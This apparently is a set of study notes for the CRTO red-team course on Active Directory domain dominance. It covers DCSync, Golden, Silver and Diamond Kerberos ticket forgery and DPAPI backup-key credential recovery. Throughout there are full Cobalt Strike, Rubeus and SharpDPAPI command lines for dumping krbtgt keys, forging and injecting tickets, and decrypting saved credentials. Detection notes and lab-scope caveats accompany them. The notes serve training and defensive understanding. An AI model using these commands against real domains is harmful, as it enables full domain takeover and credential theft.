Skills · learning

Domain Dominance

Quick model First identify which secret is available and how it was obtained. DCSync is a secret-retrieval primitive; Golden, Silver, and Diamond tickets are different ways to use specific keys. DPAPI domain backup-key recovery is a separate branch. A forged or imported ticket is not proof that a target service authorizes access.

High-impact lab material DCSync, ticket forging, privileged ticket injection, and domain DPAPI backup-key recovery handle sensitive domain material and create significant authentication activity. Treat these as explicit, objective-driven course-lab branches. Do not collect secrets or forge tickets as generic exam preparation steps.

Table of Contents

• Fact-check: rights, OPSEC, tickets, and DPAPI
• DCSync and secret retrieval
• Silver ticket prerequisites
• Golden ticket model
• Diamond ticket model
• Compare the ticket types
• DCSync quick reference
• Golden ticket procedure
• Diamond ticket procedure
• Silver ticket procedure
• DPAPI branch
• Master flow
• Shortest memory aid

Fact-check: the points to keep straight

DCSync rights and OPSEC

Domain Admin, Enterprise Admin, or a domain-controller account are common examples of principals that may have replication rights, but they are not the only possible principals. The relevant authorization is on the naming context being replicated. The usual secret-replication rights are:

The prior spoken note assigned the Get-Changes GUID to both of the first two rights. The second right has a different GUID. See Microsoft's Get-Changes, Get-Changes-All, and Filtered-Set references.

Running DCSync from a domain controller does not make it safe or unobservable. A non-DC source can be a useful anomaly signal, but source host is only one part of detection. The account, granted rights, replication request, source device/IP, and surrounding activity can all matter. Do not select an execution host to evade detection; follow the exercise's explicit scope and rules.

Event 4662 is conditional: the Directory Service Access audit policy must be configured, and the access must match an appropriate SACL on the AD object. Defender for Identity also documents DCSync replication alerts. A missing 4662 therefore does not prove no replication happened, and a 4662 event needs context before it is attributed. See Microsoft's 4662 requirements, audit-policy guidance, and DCSync alert description.

Silver, Golden, and Diamond: scope and detection limits

For Silver, a service-side 4624 without a corresponding DC 4769 can be a useful clue because an offline-forged TGS did not need a normal TGS exchange. For Golden, a 4769 without a visible prior 4768 can be a clue when the TGT was forged offline. Neither correlation is conclusive: log coverage, retention, DC selection, ticket caching, and pre-existing tickets affect what is visible. Unusually long lifetimes, inconsistent identity/PAC fields, or odd realm formatting can add context, but none is a standalone detector; Kerberos realm names are commonly uppercase and tools may normalize them. A Silver-ticket PAC is not simply “validated by the KDC every time”: PAC validation is a protocol/service behavior, and Microsoft's documentation describes cases where the server OS sends PAC data to a DC for verification, while validation is optional for some self-contained applications (validation flow, optional-use note).

The “almost indefinitely” shorthand needs a caveat: a stolen krbtgt secret can support long-lived forged-ticket capability until the secret is rotated and the relevant old key versions are retired, but it does not create an unchangeable foothold. Microsoft's forest-recovery guidance calls for two resets and a wait based on the domain's maximum ticket lifetime and replication state.

What the DPAPI domain backup key is for

The backup key is not stored in Windows Credential Manager. Active Directory stores DPAPI backup-key objects in the domain partition's CN=System container. Credential Manager is one example of a store that can contain DPAPI-protected user credentials. Conceptually, a domain user's DPAPI masterkey has a backup-protected form; the domain backup key can recover applicable masterkeys, which can then be used to decrypt the corresponding DPAPI blobs when those files and their required context are available.

DPAPI domain backup key
        ↓
recover a domain user's applicable masterkey
        ↓
decrypt a DPAPI-protected blob
        ↓
read that particular saved secret

This is a recovery path for applicable domain-user DPAPI material, not an automatic decryption of every credential or application secret on every machine. It is separate from krbtgt and Kerberos tickets. Microsoft states that domain backup keys are generated when the domain is created and currently have no officially supported rotation procedure; handle them as highly sensitive recovery material. See the DPAPI backup-key documentation and BackupKey Remote Protocol overview.

Domain Dominance = I have high-impact directory access. Which secret, if any, does the stated objective require?

2026-09-25 17:55 SGT

You caught the two important conceptual mistakes. Silver does not require DCSync, and Diamond is not quite “created by the domain.” The clean mental model is based on which cryptographic secret you possess.

Domain Dominance - corrected mental model

Think of the whole chapter as:

                         DOMAIN DOMINANCE
                                │
                     "I reached high privilege.
                  What root secrets can I preserve?"
                                │
             ┌──────────────────┼──────────────────┐
             ▼                  ▼                  ▼
       ACCOUNT SECRETS      krbtgt SECRET     DPAPI BACKUP KEY
             │                  │                  │
        service /              │             Decrypt domain
       computer keys           │             users' DPAPI data
             │                  │
             ▼            ┌─────┴─────┐
        SILVER TICKET     ▼           ▼
                         GOLDEN     DIAMOND

The key idea is:

DCSync is a way to obtain secrets. Ticket forgery is a way to use secrets.

They are two different stages.

1. What DCSync actually is

DCSync abuses Active Directory's replication mechanism.

Normally:

DC1 ───── replication ─────> DC2

With sufficient replication privileges:

YOU ─── "replicate this account" ───> DC
                                      │
                                      ▼
                                account secrets

For example:

beacon> dcsync contoso.com CONTOSO\krbtgt

gets the krbtgt material.

But you could conceptually request another account:

DCSync → krbtgt
DCSync → service account
DCSync → user account
etc.

So:

DCSync ≠ Golden Ticket
DCSync ≠ Silver Ticket
DCSync ≠ Diamond Ticket

DCSync = GET SECRET

Then:

SECRET → decide what you can forge

2. Does Silver Ticket require DCSync?

No.

This was the key correction.

A Silver Ticket requires:

the secret belonging to the service that will accept the TGS.

A Silver Ticket is a forged service ticket/TGS for one particular service.

For example:

CIFS on LON-DB-1
        │
        ▼
runs using computer/service identity
        │
        ▼
that identity has a Kerberos key

If you obtain that key:

Service/computer key
        ↓
Forge TGS
        ↓
CIFS/LON-DB-1 accepts it

Where could you get that key?

Several possibilities conceptually:

compromise machine
      ↓
obtain computer-account secret
      ↓
Silver Ticket

compromise service-account password
      ↓
derive service key
      ↓
Silver Ticket

Kerberoast / credential compromise
      ↓
service account password
      ↓
Silver Ticket

DCSync service account
      ↓
service key
      ↓
Silver Ticket

So DCSync is merely one possible source of the service secret.

Your material explicitly gives a non-DCSync example: obtaining the plaintext password of an MSSQL service account and then deriving its Kerberos keys before forging an MSSQL Silver Ticket.

That proves the distinction.

3. Why does Silver work?

This part makes everything click.

A service ticket is ultimately intended for:

MSSQL
CIFS
HTTP
LDAP
etc.

The target service must be able to decrypt its ticket.

So imagine:

                     SERVICE TICKET
                           │
                           │ encrypted using
                           ▼
                   SERVICE'S SECRET

Therefore if you possess:

MSSQL service key

you can create something that:

MSSQL can decrypt

without necessarily possessing:

krbtgt

That's why Silver Tickets are possible before Domain Admin/domain dominance in some attack chains.

4. Silver versus Golden is really about which key you stole

This is the rule I'd memorize.

WHAT SECRET DO I HAVE?
        │
        ├── Service/computer secret
        │          ↓
        │       SILVER
        │
        └── krbtgt secret
                   ↓
             GOLDEN / DIAMOND

That's much better than thinking:

DCSync → Silver
DCSync → Golden
DCSync → Diamond

because that model is incorrect.

5. Golden Ticket

Golden requires the:

krbtgt key

because the krbtgt account is what protects TGTs.

The source defines Golden Ticket as a forged TGT signed using the KDC/krbtgt secret.

Normal Kerberos:

User
 ↓
KDC
 ↓
TGT
 ↓
KDC
 ↓
TGS
 ↓
service

Golden:

krbtgt key
     ↓
forge TGT locally
     ↓
inject TGT
     ↓
KDC
     ↓
request legitimate TGS
     ↓
service

That's an extremely important distinction from Silver.

6. Golden creates TGT; Silver creates TGS

Memorize this:

             SILVER                    GOLDEN

              TGS                        TGT
               │                          │
         for one service            for the domain
               │                          │
          service key                  krbtgt key
               │                          │
               ▼                          ▼
       directly use service       ask KDC for TGS

After importing a Golden Ticket, Windows goes through the normal TGS exchange when you access a service. Your material demonstrates exactly this behavior.

So:

Golden does NOT normally mean:
"forge every TGS yourself"

Golden means:
"forge the TGT that lets me legitimately request TGSs."

7. Then your question: if I can Golden Ticket, why would I ever Silver Ticket?

This is where attack progression matters.

Before obtaining krbtgt

You might have:

Local Admin on LON-DB-1
        +
LON-DB-1 computer secret

but no Domain Admin.

You cannot Golden Ticket.

But you might Silver Ticket:

computer key
     ↓
forge CIFS ticket
     ↓
retain access to LON-DB-1

The course specifically gives persistent local access as a common Silver Ticket scenario.

So Silver occupies a different privilege level.

8. What if I ALREADY have krbtgt?

Then your instinct is correct:

For raw capability, Golden/ Diamond largely supersede Silver.

Because:

Golden TGT
   ↓
ask KDC for CIFS
ask KDC for LDAP
ask KDC for MSSQL
ask KDC for HTTP
...

Why bother constructing individual Silver Tickets?

Usually you don't need to for capability.

Silver remains a different tradecraft option because:

Silver:
does not need KDC interaction to create/use the forged TGS

Golden:
use forged TGT and normally contact KDC for TGSs

But that doesn't mean Silver is automatically "stealthier." For example, your course notes an important detection opportunity:

Service sees logon → 4624

but

DC never saw corresponding TGS request → no 4769

because the Silver Ticket was forged offline.

So it's a different telemetry pattern, not simply "better."

9. Why Golden at all if you already DCSynced?

This is another very good question.

Because:

DCSync gets you the secret. Golden operationalizes that secret.

Imagine your Beacon dies.

Before:

Domain Admin Beacon
       │
       ▼
     DCSync
       │
       ▼
krbtgt AES256

Then tomorrow:

Original Beacon = DEAD
Administrator password = CHANGED
Your compromised account = DISABLED

But you kept:

krbtgt AES256

So:

krbtgt
   ↓
forge new TGT
   ↓
impersonate privileged identity
   ↓
regain Kerberos access

That's the persistence/dominance idea.

DCSync itself does not give you a reusable Windows logon session.

It's:

DCSync = extraction primitive

Golden/Diamond = authentication-ticket primitive

10. Could you just DCSync Administrator's password hash instead?

Yes.

Conceptually:

DCSync Administrator
        ↓
NTLM/AES keys
        ↓
authenticate as Administrator

But that ties your access to that account's secret.

If Administrator's password changes:

old secret → invalid

krbtgt has historically been particularly valuable because changing ordinary user passwords does not invalidate your knowledge of the krbtgt key.

That is why it is the classic domain-dominance target.

11. Diamond Ticket - your understanding needs one small correction

You said:

Diamond is the only one actually created in the domain / online.

Close, but I'd phrase it differently:

Diamond is KDC-assisted rather than completely offline-forged.

The domain does not issue you an Administrator Diamond Ticket.

What actually happens:

CURRENT USER
     │
     │ normal Kerberos request
     ▼
    KDC
     │
     ▼
LEGITIMATE TGT
     │
     ▼
attacker obtains that TGT
     │
     │ krbtgt key
     ▼
decrypt ticket
     │
     ▼
modify PAC / identity
     │
     ▼
re-sign + re-encrypt locally
     │
     ▼
DIAMOND TGT

Your course describes Diamond exactly this way: request a legitimate TGT, decrypt it using the KDC secret, alter identity/group information, and re-encrypt/re-sign it.

Therefore:

SILVER
100% forged offline

GOLDEN
100% forged offline

DIAMOND
legitimate TGT obtained online
        +
modified/re-signed locally

I'd memorize KDC-assisted, not "created online."

12. Why Diamond if Golden already lets you impersonate anyone?

Because Diamond doesn't grant more privilege.

Both ultimately give you a powerful TGT.

The difference is how the starting TGT is obtained and what ticket details it carries. That can change what defenders observe; it does not make Diamond inherently quiet.

Golden

YOU
 ↓
construct TGT from scratch
 ↓
sign with krbtgt

You have to decide things like:

ticket lifetime
flags
groups
user ID
metadata

Mistakes can be anomalous.

Your course specifically notes that forged Golden Tickets can stand out through things like abnormal lifetime information or a missing prior AS-REQ/4768.

Diamond

KDC
 ↓
genuine TGT
 ↓
modify important authorization fields

The modified ticket may retain some of the starting ticket's:

ticket structure
lifetime and flags
initial KDC issuance context

That is a limited difference from building a TGT from scratch.

The course describes those preserved details and the legitimate initial AS exchange as possible advantages. They do not make the altered authorization data legitimate, and mismatched PAC fields can still stand out. Treat “more aligned with normal metadata” as a limited comparison with a from-scratch ticket, not a guarantee of better OPSEC.

Diamond is therefore:

not stronger than Golden - it's an alternative way of producing the TGT.

13. One sentence for each technique

This is your memory layer.

DCSync
= Ask AD replication for account secrets.

Silver
= I own a SERVICE'S key, so I forge that service's TGS.

Golden
= I own KRBTGT's key, so I forge my own TGT from scratch.

Diamond
= I own KRBTGT's key, obtain a legitimate TGT,
  then alter and re-sign it.

DPAPI Backup Key
= I own the domain's recovery key for users'
  DPAPI masterkeys/secrets.

14. Full Domain Dominance attack hierarchy

                         DOMAIN DOMINANCE
                                │
                                ▼
                    GET HIGH-VALUE SECRETS
                                │
           ┌────────────────────┼─────────────────────┐
           │                    │                     │
           ▼                    ▼                     ▼
       DCSync              Other service         DPAPI BACKUP
           │               compromise               KEY
           │                    │                     │
     ┌─────┴─────┐              ▼                     ▼
     ▼           ▼         service/computer      DPAPI masterkeys
  krbtgt     other account        key                  │
    key          keys              │                   ▼
     │                             ▼              saved secrets
     │                          SILVER
     │
 ┌───┴────────┐
 ▼            ▼
GOLDEN      DIAMOND

Notice:

Silver does not sit underneath DCSync.

That's the correction.

15. CRTO cheat sheet - DCSync

Purpose

Get AD account secrets through replication.

Typical krbtgt

beacon> dcsync contoso.com CONTOSO\krbtgt

Mental translation:

domain     = contoso.com
account    = CONTOSO\krbtgt
result     = krbtgt NTLM/AES material

What you care about for the ticket examples:

aes256_hmac

Then ask:

I have krbtgt.

Do I want:
Golden?
or
Diamond?

16. Golden Ticket cheat sheet

Create

Rubeus.exe golden \
 /aes256:<KRBTGT_AES256> \
 /user:<USER> \
 /domain:<DOMAIN_FQDN> \
 /sid:<DOMAIN_SID> \
 /nowrap

The parameters match the course's Golden Ticket example.

Meaning:

/aes256  = krbtgt AES key
/user    = identity placed into forged TGT
/domain  = domain
/sid     = domain SID

Result:

base64(ticket.kirbi)

Create logon context

beacon> make_token CONTOSO\Administrator FakePass

Don't misunderstand FakePass.

For a netonly logon:

password isn't what gives you Kerberos access

Your injected ticket will.

Inject ticket

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>

ptt:

Pass The Ticket

Inspect

beacon> run klist

Golden should conceptually show:

Client: Administrator
Server: krbtgt/CONTOSO.COM

Then when a service is accessed, an additional TGS appears. The source demonstrates this behavior after accessing CIFS.

17. Diamond Ticket cheat sheet

Rubeus.exe diamond \
 /tgtdeleg \
 /krbkey:<KRBTGT_AES256> \
 /ticketuser:<TARGET_USER> \
 /ticketuserid:<TARGET_RID> \
 /domain:<DOMAIN> \
 /nowrap

Course meaning:

/tgtdeleg
    obtain usable legitimate TGT material

/krbkey
    krbtgt key

/ticketuser
    identity you want in modified ticket

/ticketuserid
    corresponding RID

/domain
    domain

Mental sequence:

KDC
 ↓
legitimate TGT
 ↓
decrypt
 ↓
change PAC
 ↓
re-sign
 ↓
Diamond

Then:

make_token
↓
ptt
↓
klist
↓
access service

18. Inspect Diamond Ticket

The source also demonstrates:

Rubeus.exe describe \
 /servicekey:<KRBTGT_KEY> \
 /ticket:<BASE64_TICKET>

This allows you to inspect the PAC.

You can compare:

original legitimate TGT
             vs
modified Diamond TGT

The material even demonstrates that some original metadata may remain, such as FullName, which itself could be anomalous.

19. Silver Ticket cheat sheet

Suppose you own the computer's AES key.

CIFS example

Rubeus.exe silver \
 /service:cifs/<HOST> \
 /aes256:<COMPUTER_AES256> \
 /user:<IMPERSONATED_USER> \
 /domain:<DOMAIN> \
 /sid:<DOMAIN_SID> \
 /nowrap

Your source's example uses a computer-account AES key to forge a ticket for cifs/lon-db-1.

Mental translation:

/service
= EXACT SPN I'm targeting

/aes256
= secret belonging to the service/computer

/user
= identity inside TGS

Notice:

NO krbtgt required.

20. Silver using service-account password

Suppose you obtained:

CONTOSO\mssql_svc
Password123

First derive Kerberos keys:

Rubeus.exe hash \
 /user:mssql_svc \
 /domain:CONTOSO.COM \
 /password:<PASSWORD>

Output:

rc4_hmac
aes128
aes256

The source demonstrates this exact flow before forging the MSSQL ticket.

Then forge:

Rubeus.exe silver \
 /service:MSSQLSvc/<SERVER>:1433 \
 /rc4:<SERVICE_KEY> \
 /user:<TARGET_USER> \
 /id:<USER_RID> \
 /groups:<GROUP_RIDS> \
 /domain:<DOMAIN> \
 /sid:<DOMAIN_SID> \
 /nowrap

Then:

make_token
 ↓
ptt
 ↓
klist
 ↓
connect to MSSQL

The course follows the Silver Ticket with SQLRecon using the Windows token.

21. Golden vs Silver klist

This is a really good exam sanity check.

Golden

Server:
krbtgt/CONTOSO.COM

means:

TGT

Silver CIFS

Server:
cifs/lon-db-1

means:

TGS

Silver MSSQL

Server:
MSSQLSvc/lon-db-1.contoso.com:1433

means:

TGS

The source shows exactly those service-ticket entries.

22. Reset token

After the operation:

beacon> rev2self

rev2self only returns Beacon to its original token; it does not remove a forged or imported ticket from the logon-session cache. If this was a disposable, isolated test session, purge tickets in that same session and verify the cache afterward using the ticket cleanup in the detailed reference. Do not purge an unrelated or shared session. Remove any lab-created ticket file separately after recording the minimum non-secret evidence.

Think:

make_token
    ↓
temporary impersonation context
    ↓
rev2self
    ↓
return to original Beacon identity

23. DPAPI - completely different branch

Now forget Kerberos.

This branch is:

saved secret
    ↓
encrypted using DPAPI
    ↓
DPAPI masterkey

Domain users have a recovery mechanism based around the domain DPAPI backup key.

Conceptually:

DOMAIN DPAPI BACKUP KEY
         │
        ├── applicable domain-user masterkeys
         │
         ▼
   DPAPI-protected secrets

So the mental distinction is:

krbtgt
  ↓
Kerberos

DPAPI Backup Key
  ↓
DPAPI secrets

Never mix these two.

24. DPAPI cheat sheet

Get domain backup key

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe backupkey

Look for:

Preferred backupkey Guid
Key : <BASE64 KEY>

Enumerate credentials on a machine

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials

You may see:

CredFile
MasterKey GUID

but:

[X] MasterKey GUID not in cache

means:

Found encrypted thing
but can't currently recover corresponding masterkey.

Supply domain backup key

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /pvk:<BACKUP_KEY>

Mental model:

Domain Backup Key
       ↓
recover/decrypt user's masterkey
       ↓
masterkey
       ↓
decrypt DPAPI blob
       ↓
plaintext saved credential

25. Full command flow to memorize

Don't memorize them as random commands. Memorize the workflow.

========================================
        DOMAIN DOMINANCE WORKFLOW
========================================

1. Obtain root/domain secrets

DCSync:
dcsync <domain> <DOMAIN\account>


========================================
KRBTGT FOUND
========================================

Option A  -  GOLDEN

Rubeus golden
     ↓
base64 TGT
     ↓
make_token
     ↓
Rubeus ptt
     ↓
klist
     ↓
access service


Option B  -  DIAMOND

Rubeus diamond
     ↓
legitimate TGT + PAC modification
     ↓
make_token
     ↓
Rubeus ptt
     ↓
klist
     ↓
access service


========================================
SERVICE / COMPUTER KEY FOUND
========================================

SILVER

Rubeus silver
     ↓
base64 TGS
     ↓
make_token
     ↓
Rubeus ptt
     ↓
klist
     ↓
access THAT service


========================================
DPAPI BACKUP KEY
========================================

SharpDPAPI backupkey
     ↓
save key
     ↓
SharpDPAPI credentials
     ↓
SharpDPAPI credentials /pvk:<KEY>
     ↓
decrypt DPAPI secrets

26. The CRTO "what do I use?" decision tree

This is probably the one worth screenshotting.

I GOT A SECRET
     │
     ▼
What secret is it?
     │
     ├─────────────────────────────────────────┐
     │                                         │
     ▼                                         ▼
SERVICE / COMPUTER KEY                    KRBTGT KEY
     │                                         │
     ▼                                         ▼
Can forge service TGS                 Can forge/modify TGT
     │                                         │
     ▼                                  ┌──────┴──────┐
  SILVER                                ▼             ▼
                                    GOLDEN         DIAMOND
                                      │               │
                                from scratch       start from
                                  offline         legitimate TGT


DOMAIN DPAPI BACKUP KEY
          │
          ▼
Recover domain-user DPAPI masterkeys
          │
          ▼
Decrypt DPAPI-protected secrets

27. Final corrections to your understanding

Your updated understanding should be:

1. DCSync is not required for Silver Tickets. Silver needs the service/computer key. DCSync is merely one possible way of obtaining such a secret.

2. DCSync is commonly used to obtain krbtgt, which then enables Golden or Diamond Tickets. It isn't the ticket attack itself.

3. Golden and Silver are truly offline-forged tickets.

Golden → forge TGT from scratch
Silver → forge TGS from scratch

4. Diamond is better described as KDC-assisted.

request genuine TGT online
        ↓
modify/re-sign locally

The KDC never intentionally issues you an Administrator Diamond Ticket.

5. If you already have krbtgt, Golden/Diamond generally make Silver unnecessary for raw privilege. Silver matters especially when you only compromise one service/computer secret and don't possess the domain's krbtgt secret.

6. Golden versus Diamond is not a privilege difference.

Both → powerful TGT capability

Golden → manufacture from scratch

Diamond → modify legitimate TGT

7. Domain Dominance therefore isn't really “three ticket attacks.”

It's:

STEAL DOMAIN ROOT SECRETS
          ↓
choose how to use them

krbtgt → Golden/Diamond
service key → Silver
DPAPI backup key → DPAPI credential recovery

That is the conceptual hierarchy I would use for the CRTO material.

2026-09-25 19:17 SGT

Yes. Here is the version I would keep as your single CRTO Domain Dominance cheat sheet. The important improvement is that every command answers three questions:

What do I already have? → What do I run? → What does that give me next?

Domain Dominance - master flow

                         START
                           │
                           ▼
              I have high AD privileges
                           │
             ┌─────────────┴──────────────┐
             ▼                            ▼
      Want Kerberos control?       Want DPAPI secrets?
             │                            │
             ▼                            ▼
          DCSync                  SharpDPAPI backupkey
             │                            │
             ▼                            ▼
        krbtgt AES key              DPAPI backup key
             │                            │
        ┌────┴────┐                       ▼
        ▼         ▼                 credentials /pvk
     GOLDEN    DIAMOND
        │         │
        └────┬────┘
             ▼
         inject TGT
             │
             ▼
       request/use services


SEPARATE PATH:

service/computer secret
        │
        ▼
     SILVER
        │
        ▼
   forged service TGS

0. Values you need to recognize

Most of the commands are just filling these placeholders:

<DOMAIN>
<DOMAIN_SID>

<KRBTGT_AES256>

<SERVICE_AES256>
or
<SERVICE_RC4>

<TARGET_USER>
<TARGET_RID>
<TARGET_GROUP_RIDS>

<BASE64_TICKET>

<DPAPI_BACKUP_KEY>

Don't memorize hashes. Memorize where each value comes from.

1. DCSync → obtain krbtgt

You have

Domain Admin / Enterprise Admin
or equivalent directory replication rights

Run

beacon> dcsync contoso.com CONTOSO\krbtgt

Look for

Hash NTLM: ...

Primary:Kerberos-Newer-Keys

aes256_hmac:
5129200...

Save

KRBTGT_AES256

Conceptually:

DCSync
   ↓
krbtgt account
   ↓
AES256 key
   ↓
Golden OR Diamond

This is why DCSync matters here.

2. Golden Ticket

You need

KRBTGT_AES256
DOMAIN
DOMAIN SID
USER you want represented in ticket

Create TGT

Your course command pattern is:

C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap

Example from the material:

Rubeus.exe golden /aes256:512920... /user:Administrator /domain:CONTOSO.COM /sid:S-1-5-21-... /nowrap

Output you want

[*] Forged a TGT for 'Administrator@CONTOSO.COM'

base64(ticket.kirbi):
doIFg...

Save:

<BASE64_TICKET>

3. Prepare a logon context

Your course then does:

beacon> make_token CONTOSO\Administrator FakePass

Result:

[+] Impersonated CONTOSO\Administrator (netonly)

Think of this as:

new network logon context
       +
Kerberos ticket we're about to insert

The actual Kerberos capability comes from the injected ticket.

4. Inject the Golden Ticket

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>

ptt:

Pass The Ticket

The course demonstrates the sequence make_token → ptt → klist.

5. Verify with klist

beacon> run klist

For Golden, initially look for:

Client: Administrator @ CONTOSO.COM

Server:
krbtgt/CONTOSO.COM @ CONTOSO.COM

That means:

TGT exists

Then after accessing something such as CIFS, Windows obtains a TGS and you may see:

Server:
cifs/lon-dc-1 @ CONTOSO.COM

The course shows the forged TGT followed by an automatically obtained CIFS TGS.

6. Golden flow in one chain

dcsync CONTOSO\krbtgt
        ↓
KRBTGT AES256
        ↓
Rubeus golden
        ↓
BASE64 TGT
        ↓
make_token
        ↓
Rubeus ptt
        ↓
klist
        ↓
access service
        ↓
KDC issues corresponding TGS

That's the whole Golden path.

7. Diamond Ticket

Diamond starts from the same root secret:

KRBTGT AES256

But instead of creating the whole TGT from scratch:

obtain legitimate TGT
        ↓
decrypt
        ↓
change identity/PAC
        ↓
re-sign

Command

From your source:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /krbkey:<KRBTGT_AES256> /ticketuser:<TARGET_USER> /ticketuserid:<RID> /domain:<DOMAIN> /nowrap

Example shape:

Rubeus.exe diamond /tgtdeleg /krbkey:512920... /ticketuser:Administrator /ticketuserid:500 /domain:CONTOSO.COM /nowrap

8. What every Diamond parameter means

/tgtdeleg
    ↓
obtain usable legitimate TGT material

/krbkey
    ↓
krbtgt AES key

/ticketuser
    ↓
user identity to put into modified ticket

/ticketuserid
    ↓
RID of that user

/domain
    ↓
domain

The source explicitly defines these parameters.

Then again:

Diamond output
     ↓
base64(ticket.kirbi)
     ↓
make_token
     ↓
Rubeus ptt
     ↓
klist

9. Inspect a Diamond Ticket

Your course also gives you a useful diagnostic command:

Rubeus.exe describe /servicekey:<KRBTGT_AES256> /ticket:<BASE64_TICKET>

Purpose:

decrypt/display ticket information
        ↓
inspect PAC
        ↓
see user / groups / RID / metadata

The material uses it to inspect the original legitimate ticket and then the modified Diamond ticket.

This command is worth remembering for understanding what's actually inside the ticket.

10. Silver Ticket - different starting point

Do not start this mental path at DCSync.

Start here:

I have the secret belonging to
ONE SERVICE / COMPUTER

Example:

LON-DB-1$ AES key

or:

mssql_svc password/key

Then:

SERVICE KEY
    ↓
SILVER
    ↓
TGS directly

11. Silver Ticket with computer AES key

You need

service name/SPN
computer/service AES key
target identity
domain
domain SID

Command

From your material:

Rubeus.exe silver /service:cifs/<HOST> /aes256:<SERVICE_AES256> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap

Example structure:

Rubeus.exe silver /service:cifs/lon-db-1 /aes256:<KEY> /user:Administrator /domain:CONTOSO.COM /sid:<SID> /nowrap

Output:

[*] Forged a TGS for 'Administrator'
    to 'cifs/lon-db-1'

base64(ticket.kirbi):
...

Notice:

Golden output = TGT
Silver output = TGS

12. Inject Silver

Same pattern:

beacon> make_token CONTOSO\Administrator FakePass

Then:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>

Then:

beacon> run klist

Silver should show something like:

Server:
cifs/lon-db-1 @ CONTOSO.COM

The source demonstrates this exact CIFS ticket in the cache.

13. Use the CIFS ticket

Your course checks the target share with:

beacon> ls \\lon-db-1\c$

Conceptually:

Silver CIFS ticket
       ↓
access CIFS
       ↓
\\target\c$

This is a useful way to remember that the service in /service: determines what that ticket is for.

14. Silver Ticket from a plaintext service password

The MSSQL example is especially useful because it shows that you absolutely do not need DCSync.

Starting point:

I know:

CONTOSO\mssql_svc
+
plaintext password

First convert the password into Kerberos-compatible keys.

Command

Rubeus.exe hash /user:mssql_svc /domain:CONTOSO.COM /password:<PASSWORD>

The material shows output such as:

rc4_hmac
aes128_cts_hmac_sha1
aes256_cts_hmac_sha1

So:

plaintext service password
        ↓
Rubeus hash
        ↓
RC4 / AES key
        ↓
Silver Ticket

15. MSSQL Silver Ticket

The course then runs:

Rubeus.exe silver /service:MSSQLSvc/<SERVER>:1433 /rc4:<SERVICE_RC4> /user:<USER> /id:<USER_RID> /groups:<GROUP_RIDS> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap

The exact example is in your material.

Important new parameters:

/id
    ↓
RID of impersonated user

/groups
    ↓
group RIDs included in ticket

The course example specifically explains those values.

16. Inject MSSQL ticket

Again:

beacon> make_token CONTOSO\rsteel FakePass

then:

Rubeus.exe ptt /ticket:<BASE64_TICKET>

then:

beacon> run klist

Look for:

Server:
MSSQLSvc/lon-db-1.contoso.com:1433

That means:

MSSQL service TGS successfully loaded

The course demonstrates that ticket in the cache.

17. Test MSSQL

Your supplied command is:

beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:lon-db-1.contoso.com /m:info

Meaning conceptually:

/a:wintoken
     ↓
authenticate using current Windows identity/ticket

/h
     ↓
SQL host

/m:info
     ↓
query SQL Server information

The source then shows SQLRecon seeing the impersonated user as the current logon.

18. rev2self

After using an impersonated Beacon token:

beacon> rev2self

This ends token impersonation only. If a ticket was imported into an isolated test logon session, follow the separate purge and klist readback before calling the ticket cleanup complete; never purge unrelated session tickets.

Meaning:

stop impersonating
        ↓
return Beacon to original token

Your source uses it after the Silver Ticket example.

So remember:

make_token
    ↓
do Kerberos work
    ↓
rev2self

19. DPAPI Backup Key

Now switch mental models completely.

You have:

Domain Admin

You want:

domain DPAPI backup key

Run

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe backupkey

Look for:

[*] Preferred backupkey Guid : ...
[*] Key : HvG1s[...]lXQns=

Save:

<DPAPI_BACKUP_KEY>

20. Find DPAPI credentials

With sufficient local access on the target:

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials

You might see:

Folder:
C:\Users\pchilds\AppData\Local\Microsoft\Credentials\

CredFile:
...

guidMasterKey:
{...}

[X] MasterKey GUID not in cache

That means:

credential blob found
       ↓
associated masterkey identified
       ↓
but currently cannot decrypt it

21. Use the domain DPAPI backup key

Now add:

/pvk:<BACKUP_KEY>

Full command:

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /pvk:<DPAPI_BACKUP_KEY>

Conceptually:

DPAPI backup key
       ↓
recover user's masterkey
       ↓
masterkey decrypts credential blob
       ↓
plaintext credential

That is how the pchilds example eventually reveals:

TargetName:
Domain:target=TERMSRV/lon-ws-1

UserName:
LON-WS-1\Administrator

Credential:
...

22. Everything condensed into one cheat sheet

============================================================
DCSYNC
============================================================

HAVE:
Replication privilege / high domain privilege

RUN:
dcsync <domain> <DOMAIN\krbtgt>

GET:
krbtgt NTLM/AES keys

NEXT:
Golden or Diamond


============================================================
GOLDEN
============================================================

HAVE:
krbtgt AES256
domain
domain SID

RUN:
Rubeus.exe golden \
 /aes256:<KRBTGT_AES256> \
 /user:<USER> \
 /domain:<DOMAIN> \
 /sid:<SID> \
 /nowrap

GET:
Base64 forged TGT

THEN:
make_token DOMAIN\User FakePass

Rubeus.exe ptt /ticket:<BASE64>

run klist

EXPECT:
Server: krbtgt/DOMAIN


============================================================
DIAMOND
============================================================

HAVE:
krbtgt AES256
target user + RID

RUN:
Rubeus.exe diamond \
 /tgtdeleg \
 /krbkey:<KRBTGT_AES256> \
 /ticketuser:<USER> \
 /ticketuserid:<RID> \
 /domain:<DOMAIN> \
